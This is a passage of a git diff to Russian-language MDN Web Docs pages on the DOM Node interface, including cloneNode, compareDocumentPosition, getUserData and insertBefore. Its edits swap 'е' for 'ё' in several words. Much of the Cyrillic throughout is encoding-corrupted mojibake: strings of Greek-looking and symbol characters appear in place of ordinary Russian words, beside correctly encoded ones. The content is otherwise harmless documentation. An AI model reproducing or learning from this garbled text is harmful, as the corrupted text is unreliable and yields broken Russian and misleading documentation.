-<p>Если исходный ΡƒΠ·Π΅Π» ΠΈΠΌΠ΅Π΅Ρ‚ ΠΈΠ΄Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ‚ΠΎΡ€ ΠΈ ΠΊΠ»ΠΎΠ½ Ρ€Π°Π·ΠΌΠ΅Ρ‰Π΅Π½ Π² Ρ‚ΠΎΠΌ ΠΆΠ΅ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π΅, ΠΈΠ΄Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ‚ΠΎΡ€ Π΄ΠΎΠ»ΠΆΠ΅Π½ Π±Ρ‹Ρ‚ΡŒ ΠΈΠ·ΠΌΠ΅Π½Π΅Π½, для Ρ‚ΠΎΠ³ΠΎ Ρ‡Ρ‚ΠΎ Π±Ρ‹ Π±Ρ‹Ρ‚ΡŒ ΡƒΠ½ΠΈΠΊΠ°Π»ΡŒΠ½Ρ‹ΠΌ. Имя Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π° Ρ‚Π°ΠΊΠΆΠ΅ ΠΌΠΎΠΆΠ΅Ρ‚ Π½ΡƒΠΆΠ΄Π°Ρ‚ΡŒΡΡ Π² ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ΠΈΠΈ, <span id="result_box" lang="ru"><span>Π² зависимости</span> <span class="hps">ΠΎΡ‚</span></span> Π±ΡƒΠ΄ΡƒΡ‰Π΅Π³ΠΎ ΠΈΠΌΠ΅Π½ΠΈ Π΄ΡƒΠ±Π»ΠΈΠΊΠ°Ρ‚Π°.</p>
+<p>Если исходный ΡƒΠ·Π΅Π» ΠΈΠΌΠ΅Π΅Ρ‚ ΠΈΠ΄Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ‚ΠΎΡ€ ΠΈ ΠΊΠ»ΠΎΠ½ Ρ€Π°Π·ΠΌΠ΅Ρ‰Ρ‘Π½ Π² Ρ‚ΠΎΠΌ ΠΆΠ΅ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π΅, ΠΈΠ΄Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ‚ΠΎΡ€ Π΄ΠΎΠ»ΠΆΠ΅Π½ Π±Ρ‹Ρ‚ΡŒ ΠΈΠ·ΠΌΠ΅Π½Ρ‘Π½, для Ρ‚ΠΎΠ³ΠΎ Ρ‡Ρ‚ΠΎ Π±Ρ‹ Π±Ρ‹Ρ‚ΡŒ ΡƒΠ½ΠΈΠΊΠ°Π»ΡŒΠ½Ρ‹ΠΌ. Имя Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π° Ρ‚Π°ΠΊΠΆΠ΅ ΠΌΠΎΠΆΠ΅Ρ‚ Π½ΡƒΠΆΠ΄Π°Ρ‚ΡŒΡΡ Π² ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ΠΈΠΈ, <span id="result_box" lang="ru"><span>Π² зависимости</span> <span class="hps">ΠΎΡ‚</span></span> Π±ΡƒΠ΄ΡƒΡ‰Π΅Π³ΠΎ ΠΈΠΌΠ΅Π½ΠΈ Π΄ΡƒΠ±Π»ΠΈΠΊΠ°Ρ‚Π°.</p>
<p>Π§Ρ‚ΠΎΠ±Ρ‹ ΠΊΠ»ΠΎΠ½ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ узСл для добавлСния ΠΊ Π΄Ρ€ΡƒΠ³ΠΎΠΌΡƒ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Ρƒ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠΉΡ‚Π΅ {{domxref("Document.importNode()")}} вмСсто этого.</p>
diff --git a/files/ru/web/api/node/comparedocumentposition/index.html b/files/ru/web/api/node/comparedocumentposition/index.html
index 0be1dac540..d2972a7ab8 100644
--- a/files/ru/web/api/node/comparedocumentposition/index.html
+++ b/files/ru/web/api/node/comparedocumentposition/index.html
@@ -11,7 +11,7 @@ translation_of: Web/API/Node/compareDocumentPosition
</pre>
<ul>
<li><code>node</code> это ΡƒΠ·Π΅Π», ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ сравниваСтся</li>
- <li><code>otherNode</code> это ΡƒΠ·Π΅Π», с ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΌ ΠΈΠ΄Π΅Ρ‚ сравнСниС.</li>
+ <li><code>otherNode</code> это ΡƒΠ·Π΅Π», с ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΌ ΠΈΠ΄Ρ‘Ρ‚ сравнСниС.</li>
</ul>
<p>Π’ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅ΠΌΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ вычисляСтся ΠΊΠ°ΠΊ ΠΎΡ‚Π½ΠΎΡˆΠ΅Π½ΠΈΠ΅, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ имССтся ΠΌΠ΅ΠΆΠ΄Ρƒ <code>otherNode</code> ΠΈ <code>node</code>.</p>
<h2 id="Notes" name="Notes">ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅</h2>
diff --git a/files/ru/web/api/node/getuserdata/index.html b/files/ru/web/api/node/getuserdata/index.html
index 43a766ed8d..2d929785e3 100644
--- a/files/ru/web/api/node/getuserdata/index.html
+++ b/files/ru/web/api/node/getuserdata/index.html
@@ -18,7 +18,7 @@ translation_of: Web/API/Node/getUserData
<h3 id="ΠŸΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Ρ‹">ΠŸΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Ρ‹</h3>
<ul>
- <li><code>userKey</code> это ΠΊΠ»ΡŽΡ‡ для Π²Ρ‹Π±ΠΎΡ€Π° ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹Ρ… Π΄Π°Π½Π½Ρ‹Ρ… искомых для Π΄Π°Π½Π½ΠΎΠ³ΠΎ ΡƒΠ·Π»Π°. Π‘ΠΎΠ»ΡŒΡˆΠ΅ Ρ‡Π΅ΠΌ ΠΎΠ΄ΠΈΠ½ ΠΊΠ»ΡŽΡ‡ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ Π½Π°Π·Π½Π°Ρ‡Π΅Π½ для Π΄Π°Π½Π½ΠΎΠ³ΠΎ ΡƒΠ·Π»Π°, содСрТащий своС собствСнноС Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅.</li>
+ <li><code>userKey</code> это ΠΊΠ»ΡŽΡ‡ для Π²Ρ‹Π±ΠΎΡ€Π° ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹Ρ… Π΄Π°Π½Π½Ρ‹Ρ… искомых для Π΄Π°Π½Π½ΠΎΠ³ΠΎ ΡƒΠ·Π»Π°. Π‘ΠΎΠ»ΡŒΡˆΠ΅ Ρ‡Π΅ΠΌ ΠΎΠ΄ΠΈΠ½ ΠΊΠ»ΡŽΡ‡ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ Π½Π°Π·Π½Π°Ρ‡Π΅Π½ для Π΄Π°Π½Π½ΠΎΠ³ΠΎ ΡƒΠ·Π»Π°, содСрТащий своё собствСнноС Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅.</li>
</ul>
<h2 id="ΠŸΡ€ΠΈΠΌΠ΅Ρ€">ΠŸΡ€ΠΈΠΌΠ΅Ρ€</h2>
diff --git a/files/ru/web/api/node/index.html b/files/ru/web/api/node/index.html
index a8b7e33c56..ebbbfbc41e 100644
--- a/files/ru/web/api/node/index.html
+++ b/files/ru/web/api/node/index.html
@@ -30,10 +30,10 @@ translation_of: Web/API/Node
<dt>{{domxref("Node.lastChild")}} {{readonlyInline}}</dt>
<dd>Π’ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ {{domxref("Node")}}, ΠΏΡ€Π΅Π΄ΡΡ‚Π°Π²Π»ΡΡŽΡ‰ΠΈΠΉ послСдний прямой ΡƒΠ·Π΅Π» ΠΏΠΎΡ‚ΠΎΠΌΠΎΠΊ ΡƒΠ·Π»Π° ΠΈΠ»ΠΈ <code>null</code>, Ссли ΡƒΠ·Π΅Π» Π½Π΅ ΠΈΠΌΠ΅Π΅Ρ‚ ΠΏΠΎΡ‚ΠΎΠΌΠΊΠΎΠ².</dd>
<dt>{{domxref("Node.localName")}} {{obsolete_inline}}{{readonlyInline}}</dt>
- <dd>Π’ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ {{domxref("DOMString")}} ΠΏΡ€Π΅Π΄ΡΡ‚Π°Π²Π»ΡΡŽΡ‰ΠΈΠΉ Π»ΠΎΠΊΠ°Π»ΡŒΠ½ΡƒΡŽ Ρ‡Π°ΡΡ‚ΡŒ условного ΠΈΠΌΠ΅Π½ΠΈ элСмСнта. Π’ Firefox 3.5 ΠΈ Π±ΠΎΠ»Π΅Π΅ Ρ€Π°Π½Π½ΠΈΡ… вСрсиях, свойство локального ΠΈΠΌΠ΅Π½ΠΈ Π² Π²Π΅Ρ€Ρ…Π½Π΅ΠΌ рСгистрС для HTML элСмСнтов (Π½ΠΎ Π½Π΅ XHTML элСмСнтов). Π’ Π±ΠΎΠ»Π΅Π΅ ΠΏΠΎΠ·Π΄Π½ΠΈΡ… вСрсиях, Ρ‚Π°ΠΊΠΎΠ³ΠΎ Π½Π΅ ΠΏΡ€ΠΎΠΈΠ·ΠΎΡˆΠ»ΠΎ, ΠΈ свойство находится Π² Π½ΠΈΠΆΠ½Π΅ΠΌ рСгистрС для HTML ΠΈ XHTML {{ gecko_minversion_inline("1.9.2") }}. Π₯отя Π½Π΅Π΄Π°Π²Π½ΠΈΠ΅ спСцификации Ρ‚Ρ€Π΅Π±ΡƒΡŽΡ‚ ΠΎΡ‚ <code>localName</code> Π±Ρ‹Ρ‚ΡŒ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹ΠΌ ΠΊΠ°ΠΊ интСрфСйс {{domxref("Element")}}, Π½ΠΎ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρ‹ основанныС Π½Π° Gecko всС Π΅Ρ‰Π΅ Ρ€Π΅Π°Π»ΠΈΠ·ΡƒΡŽΡ‚ Π΅Π³ΠΎ ΠΊΠ°ΠΊ интСрфСйс {{domxref("Node")}}.</dd>
+ <dd>Π’ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ {{domxref("DOMString")}} ΠΏΡ€Π΅Π΄ΡΡ‚Π°Π²Π»ΡΡŽΡ‰ΠΈΠΉ Π»ΠΎΠΊΠ°Π»ΡŒΠ½ΡƒΡŽ Ρ‡Π°ΡΡ‚ΡŒ условного ΠΈΠΌΠ΅Π½ΠΈ элСмСнта. Π’ Firefox 3.5 ΠΈ Π±ΠΎΠ»Π΅Π΅ Ρ€Π°Π½Π½ΠΈΡ… вСрсиях, свойство локального ΠΈΠΌΠ΅Π½ΠΈ Π² Π²Π΅Ρ€Ρ…Π½Π΅ΠΌ рСгистрС для HTML элСмСнтов (Π½ΠΎ Π½Π΅ XHTML элСмСнтов). Π’ Π±ΠΎΠ»Π΅Π΅ ΠΏΠΎΠ·Π΄Π½ΠΈΡ… вСрсиях, Ρ‚Π°ΠΊΠΎΠ³ΠΎ Π½Π΅ ΠΏΡ€ΠΎΠΈΠ·ΠΎΡˆΠ»ΠΎ, ΠΈ свойство находится Π² Π½ΠΈΠΆΠ½Π΅ΠΌ рСгистрС для HTML ΠΈ XHTML {{ gecko_minversion_inline("1.9.2") }}. Π₯отя Π½Π΅Π΄Π°Π²Π½ΠΈΠ΅ спСцификации Ρ‚Ρ€Π΅Π±ΡƒΡŽΡ‚ ΠΎΡ‚ <code>localName</code> Π±Ρ‹Ρ‚ΡŒ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹ΠΌ ΠΊΠ°ΠΊ интСрфСйс {{domxref("Element")}}, Π½ΠΎ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρ‹ основанныС Π½Π° Gecko всС Π΅Ρ‰Ρ‘ Ρ€Π΅Π°Π»ΠΈΠ·ΡƒΡŽΡ‚ Π΅Π³ΠΎ ΠΊΠ°ΠΊ интСрфСйс {{domxref("Node")}}.</dd>
<dt>{{domxref("Node.namespaceURI")}} {{obsolete_inline}}{{readonlyInline}}</dt>
- <dd>ΠŸΡ€ΠΎΡΡ‚Ρ€Π°Π½ΡΡ‚Π²ΠΎ ΠΈΠΌΠ΅Π½ URI Π΄Π°Π½Π½ΠΎΠ³ΠΎ ΡƒΠ·Π»Π° ΠΈΠ»ΠΈ <code>null,</code> Ссли Π½Π΅Ρ‚ пространства ΠΈΠΌΠ΅Π½. Π’ Firefox 3.5 ΠΈ Π±ΠΎΠ»Π΅Π΅ Ρ€Π°Π½Π½ΠΈΡ… вСрсиях, HTML элСмСнты Π½Π΅ ΠΈΠΌΠ΅ΡŽΡ‚ пространства ΠΈΠΌΠ΅Π½. Π’ Π±ΠΎΠ»Π΅Π΅ ΠΏΠΎΠ·Π΄Π½ΠΈΡ… вСрсиях, HTML элСмСнты находятся Π² пространствС ΠΈΠΌΠ΅Π½ <code><a class="linkification-ext external" href="http://www.w3.org/1999/xhtml" title="Linkification: http://www.w3.org/1999/xhtml">http://www.w3.org/1999/xhtml</a></code> для Π΄Π΅Ρ€Π΅Π²ΡŒΠ΅Π² HTML ΠΈ XML. {{ gecko_minversion_inline("1.9.2") }}<br>
- Π₯отя Π½Π΅Π΄Π°Π²Π½ΠΈΠ΅ спСцификации Ρ‚Ρ€Π΅Π±ΡƒΡŽΡ‚ <code>namespaceURI</code> Π±Ρ‹Ρ‚ΡŒ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹ΠΌ ΠΊΠ°ΠΊ интСрфСйс {{domxref("Element")}}, Π½ΠΎ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρ‹ основанныС Π½Π° Gecko всС Π΅Ρ‰Π΅ Ρ€Π΅Π°Π»ΠΈΠ·ΡƒΡŽΡ‚ Π΅Π³ΠΎ ΠΊΠ°ΠΊ интСрфСйс {{domxref("Node")}}.</dd>
+ <dd>ΠŸΡ€ΠΎΡΡ‚Ρ€Π°Π½ΡΡ‚Π²ΠΎ ΠΈΠΌΡ‘Π½ URI Π΄Π°Π½Π½ΠΎΠ³ΠΎ ΡƒΠ·Π»Π° ΠΈΠ»ΠΈ <code>null,</code> Ссли Π½Π΅Ρ‚ пространства ΠΈΠΌΡ‘Π½. Π’ Firefox 3.5 ΠΈ Π±ΠΎΠ»Π΅Π΅ Ρ€Π°Π½Π½ΠΈΡ… вСрсиях, HTML элСмСнты Π½Π΅ ΠΈΠΌΠ΅ΡŽΡ‚ пространства ΠΈΠΌΡ‘Π½. Π’ Π±ΠΎΠ»Π΅Π΅ ΠΏΠΎΠ·Π΄Π½ΠΈΡ… вСрсиях, HTML элСмСнты находятся Π² пространствС ΠΈΠΌΡ‘Π½ <code><a class="linkification-ext external" href="http://www.w3.org/1999/xhtml" title="Linkification: http://www.w3.org/1999/xhtml">http://www.w3.org/1999/xhtml</a></code> для Π΄Π΅Ρ€Π΅Π²ΡŒΠ΅Π² HTML ΠΈ XML. {{ gecko_minversion_inline("1.9.2") }}<br>
+ Π₯отя Π½Π΅Π΄Π°Π²Π½ΠΈΠ΅ спСцификации Ρ‚Ρ€Π΅Π±ΡƒΡŽΡ‚ <code>namespaceURI</code> Π±Ρ‹Ρ‚ΡŒ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹ΠΌ ΠΊΠ°ΠΊ интСрфСйс {{domxref("Element")}}, Π½ΠΎ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρ‹ основанныС Π½Π° Gecko всС Π΅Ρ‰Ρ‘ Ρ€Π΅Π°Π»ΠΈΠ·ΡƒΡŽΡ‚ Π΅Π³ΠΎ ΠΊΠ°ΠΊ интСрфСйс {{domxref("Node")}}.</dd>
<dt>{{domxref("Node.nextSibling")}} {{readonlyInline}}</dt>
<dd>Π’ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ {{domxref("Node")}} ΠΏΡ€Π΅Π΄ΡΡ‚Π°Π²Π»ΡΡŽΡ‰ΠΈΠΉ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΉ ΡƒΠ·Π΅Π» Π² Π΄Ρ€Π΅Π²Π΅ ΠΈΠ»ΠΈ <code>null,</code> Ссли Π½Π΅ Ρ‚Π°ΠΊΠΎΠ³ΠΎ ΡƒΠ·Π»Π°.</dd>
<dt>{{domxref("Node.nodeName")}} {{readonlyInline}}</dt>
@@ -104,12 +104,12 @@ translation_of: Web/API/Node
<dt>{{domxref("Node.ownerDocument")}} {{readonlyInline}}</dt>
<dd>Π’ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ {{domxref("Document")}} ΠΊ ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌΡƒ ΠΏΡ€ΠΈΠ½Π°Π΄Π»Π΅ΠΆΠΈΡ‚ этот ΡƒΠ·Π΅Π». Если Π½Π΅Ρ‚ связанного с Π½ΠΈΠΌ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°, Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ <code>null</code>.</dd>
<dt>{{domxref("Node.parentNode")}} {{readonlyInline}}</dt>
- <dd>Π’ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ {{domxref("Node")}} ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ являСтся Ρ€ΠΎΠ΄ΠΈΡ‚Π΅Π»Π΅ΠΌ этого ΡƒΠ·Π»Π°. Если Π½Π΅Ρ‚ Ρ‚Π°ΠΊΠΎΠ³ΠΎ ΡƒΠ·Π»Π°, ΠΏΠΎ ΠΏΡ€ΠΈΡ‡ΠΈΠ½Π΅ Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎ ΡƒΠ·Π΅Π» находится Π²Π²Π΅Ρ€Ρ…Ρƒ Π΄Ρ€Π΅Π²Π° ΠΈΠ»ΠΈ Π½Π΅ относится ΠΊ Π΄Ρ€Π΅Π²Ρƒ, Π΄Π°Π½Π½ΠΎΠ΅ свойство Π²Π΅Ρ€Π½Π΅Ρ‚<code> null</code>.</dd>
+ <dd>Π’ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ {{domxref("Node")}} ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ являСтся Ρ€ΠΎΠ΄ΠΈΡ‚Π΅Π»Π΅ΠΌ этого ΡƒΠ·Π»Π°. Если Π½Π΅Ρ‚ Ρ‚Π°ΠΊΠΎΠ³ΠΎ ΡƒΠ·Π»Π°, ΠΏΠΎ ΠΏΡ€ΠΈΡ‡ΠΈΠ½Π΅ Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎ ΡƒΠ·Π΅Π» находится Π²Π²Π΅Ρ€Ρ…Ρƒ Π΄Ρ€Π΅Π²Π° ΠΈΠ»ΠΈ Π½Π΅ относится ΠΊ Π΄Ρ€Π΅Π²Ρƒ, Π΄Π°Π½Π½ΠΎΠ΅ свойство Π²Π΅Ρ€Π½Ρ‘Ρ‚<code> null</code>.</dd>
<dt>{{domxref("Node.parentElement")}} {{readonlyInline}}</dt>
- <dd>Π’ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ {{domxref("Element")}} ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ являСтся Ρ€ΠΎΠ΄ΠΈΡ‚Π΅Π»Π΅ΠΌ Π΄Π°Π½Π½ΠΎΠ³ΠΎ ΡƒΠ·Π»Π°. Если ΡƒΠ·Π΅Π» Π½Π΅ ΠΈΠΌΠ΅Π΅Ρ‚ родитСля ΠΈΠ»ΠΈ Ссли Ρ€ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒ Π½Π΅ {{domxref("Element")}}, это свойство Π²Π΅Ρ€Π½Π΅Ρ‚ <code>null</code>.</dd>
+ <dd>Π’ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ {{domxref("Element")}} ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ являСтся Ρ€ΠΎΠ΄ΠΈΡ‚Π΅Π»Π΅ΠΌ Π΄Π°Π½Π½ΠΎΠ³ΠΎ ΡƒΠ·Π»Π°. Если ΡƒΠ·Π΅Π» Π½Π΅ ΠΈΠΌΠ΅Π΅Ρ‚ родитСля ΠΈΠ»ΠΈ Ссли Ρ€ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒ Π½Π΅ {{domxref("Element")}}, это свойство Π²Π΅Ρ€Π½Ρ‘Ρ‚ <code>null</code>.</dd>
<dt>{{domxref("Node.prefix")}} {{obsolete_inline}}{{readonlyInline}}</dt>
- <dd>{{domxref("DOMString")}} ΠΏΡ€Π΅Π΄ΡΡ‚Π°Π²Π»ΡΡŽΡ‰ΠΈΠΉ прСфикс пространства ΠΈΠΌΠ΅Π½ ΡƒΠ·Π»Π° ΠΈΠ»ΠΈ <code>null</code> Ссли Π½Π΅Ρ‚ прСфикса Ρ‚ΠΎΡ‡Π½ΠΎ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½ΠΎΠ³ΠΎ.<br>
- Π₯отя Π½Π΅Π΄Π°Π²Π½ΠΈΠ΅ спСцификации Ρ‚Ρ€Π΅Π±ΡƒΡŽΡ‚ Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ <code>прСфикс</code> Π±Ρ‹Π» ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ ΠΊΠ°ΠΊ интСрфСйс {{domxref("Element")}}, Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρ‹ основанныС Π½Π° Gecko Π΅Ρ‰Π΅ Ρ€Π΅Π°Π»ΠΈΠ·ΠΎΠ²Ρ‹Π²Π°ΡŽΡ‚ Π΅Π³ΠΎ ΠΊΠ°ΠΊ интСрфСйс {{domxref("Node")}}.</dd>
+ <dd>{{domxref("DOMString")}} ΠΏΡ€Π΅Π΄ΡΡ‚Π°Π²Π»ΡΡŽΡ‰ΠΈΠΉ прСфикс пространства ΠΈΠΌΡ‘Π½ ΡƒΠ·Π»Π° ΠΈΠ»ΠΈ <code>null</code> Ссли Π½Π΅Ρ‚ прСфикса Ρ‚ΠΎΡ‡Π½ΠΎ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½ΠΎΠ³ΠΎ.<br>
+ Π₯отя Π½Π΅Π΄Π°Π²Π½ΠΈΠ΅ спСцификации Ρ‚Ρ€Π΅Π±ΡƒΡŽΡ‚ Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ <code>прСфикс</code> Π±Ρ‹Π» ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½ ΠΊΠ°ΠΊ интСрфСйс {{domxref("Element")}}, Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρ‹ основанныС Π½Π° Gecko Π΅Ρ‰Ρ‘ Ρ€Π΅Π°Π»ΠΈΠ·ΠΎΠ²Ρ‹Π²Π°ΡŽΡ‚ Π΅Π³ΠΎ ΠΊΠ°ΠΊ интСрфСйс {{domxref("Node")}}.</dd>
<dt>{{domxref("Node.previousSibling")}} {{readonlyInline}}</dt>
<dd>Π’ΠΎΠ·Π²Ρ€Π°Ρ‰Π°ΡŽΡ‚ {{domxref("Node")}} ΠΏΡ€Π΅Π΄ΡΡ‚Π°Π²Π»ΡΡŽΡ‰ΠΈΠΉ ΠΏΡ€Π΅Π΄Ρ‹Π΄ΡƒΡ‰ΠΈΠΉ ΡƒΠ·Π΅Π» Π΄Ρ€Π΅Π²Π° ΠΈΠ»ΠΈ <code>null</code>, Ссли Π½Π΅Ρ‚ Ρ‚Π°ΠΊΠΎΠ³ΠΎ ΡƒΠ·Π»Π°.</dd>
<dt>{{domxref("Node.textContent")}}</dt>
@@ -238,7 +238,7 @@ document.body.removeAll();</pre>
<tr>
<td>{{SpecName('DOM3 Core', 'core.html#ID-1950641247', 'Node')}}</td>
<td>{{Spec2('DOM3 Core')}}</td>
- <td>ΠœΠ΅Ρ‚ΠΎΠ΄Ρ‹ <code>insertBefore()</code>, <code>replaceChild()</code>, <code>removeChild()</code>, and <code>appendChild()</code> Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°ΡŽΡ‚ Π΅Ρ‰Π΅ ΠΎΠ΄ΠΈΠ½ Π²ΠΈΠ΄ ошибок (<code>NOT_SUPPORTED_ERR</code>) Ссли Π²Ρ‹Π·Π²Π°Π½Ρ‹ ΠΈΠ· {{domxref("Document")}}.<br>
+ <td>ΠœΠ΅Ρ‚ΠΎΠ΄Ρ‹ <code>insertBefore()</code>, <code>replaceChild()</code>, <code>removeChild()</code>, and <code>appendChild()</code> Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°ΡŽΡ‚ Π΅Ρ‰Ρ‘ ΠΎΠ΄ΠΈΠ½ Π²ΠΈΠ΄ ошибок (<code>NOT_SUPPORTED_ERR</code>) Ссли Π²Ρ‹Π·Π²Π°Π½Ρ‹ ΠΈΠ· {{domxref("Document")}}.<br>
ΠœΠ΅Ρ‚ΠΎΠ΄ <code>normalize()</code> Π±Ρ‹Π» ΠΌΠΎΠ΄ΠΈΡ„ΠΈΡ†ΠΈΡ€ΠΎΠ²Π°Π½ Ρ‚Π°ΠΊΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ, Ρ‡Ρ‚ΠΎ ΡƒΠ·Π΅Π» {{domxref("Text")}} Ρ‚Π°ΠΊΠΆΠ΅ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ Π½ΠΎΡ€ΠΌΠ°Π»ΠΈΠ·ΠΎΠ²Π°Π½, Ссли Π½Π°Π΄Π»Π΅ΠΆΠ°Ρ‰ΠΈΠΉ Ρ„Π»Π°Π³ {{domxref("DOMConfiguration")}} установлСн.<br>
Π”ΠΎΠ±Π°Π²Π»Π΅Π½Ρ‹ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠ΅ ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹: <code>compareDocumentPosition()</code>, <code>isSameNode()</code>, <code>lookupPrefix()</code>, <code>isDefaultNamespace()</code>, <code>lookupNamespaceURI()</code>, <code>isEqualNode()</code>, <code>getFeature()</code>, <code>setUserData()</code>, and <code>getUserData().</code><br>
Π”ΠΎΠ±Π°Π²Π»Π΅Π½Ρ‹ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠ΅ свойства: <code>baseURI</code> and <code>textContent</code>.</td>
@@ -246,7 +246,7 @@ document.body.removeAll();</pre>
<tr>
<td>{{SpecName('DOM2 Core', 'core.html#ID-1950641247', 'Node')}}</td>
<td>{{Spec2('DOM2 Core')}}</td>
- <td>Бвойство <code>ownerDocument</code> Π±Ρ‹Π» слСгка ΠΈΠ·ΠΌΠ΅Π½Π΅Π½, Ρ‚Π°ΠΊ Ρ‡Ρ‚ΠΎ {{domxref("DocumentFragment")}} Ρ‚Π°ΠΊΠΆΠ΅ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ <code>null</code>.<br>
+ <td>Бвойство <code>ownerDocument</code> Π±Ρ‹Π» слСгка ΠΈΠ·ΠΌΠ΅Π½Ρ‘Π½, Ρ‚Π°ΠΊ Ρ‡Ρ‚ΠΎ {{domxref("DocumentFragment")}} Ρ‚Π°ΠΊΠΆΠ΅ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ <code>null</code>.<br>
Π”ΠΎΠ±Π°Π²Π»Π΅Π½Ρ‹ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠ΅ свойства: <code>namespaceURI</code>, <code>prefix</code>, and <code>localName</code>.<br>
Π”ΠΎΠ±Π°Π²Π»Π΅Π½Ρ‹ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠ΅ ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹: <code>normalize()</code>, <code>isSupported()</code> and <code>hasAttributes()</code>.</td>
</tr>
diff --git a/files/ru/web/api/node/insertbefore/index.html b/files/ru/web/api/node/insertbefore/index.html
index 1ca87864c8..b512bffba9 100644
--- a/files/ru/web/api/node/insertbefore/index.html
+++ b/files/ru/web/api/node/insertbefore/index.html
@@ -36,7 +36,7 @@ translation_of: Web/API/Node/insertBefore
&lt;/div&gt;
&lt;script&gt;
-// Π‘ΠΎΠ·Π΄Π°Π΅ΠΌ Π½ΠΎΠ²Ρ‹ΠΉ &lt;span&gt;
+// Π‘ΠΎΠ·Π΄Π°Ρ‘ΠΌ Π½ΠΎΠ²Ρ‹ΠΉ &lt;span&gt;
var sp1 = document.createElement("span");
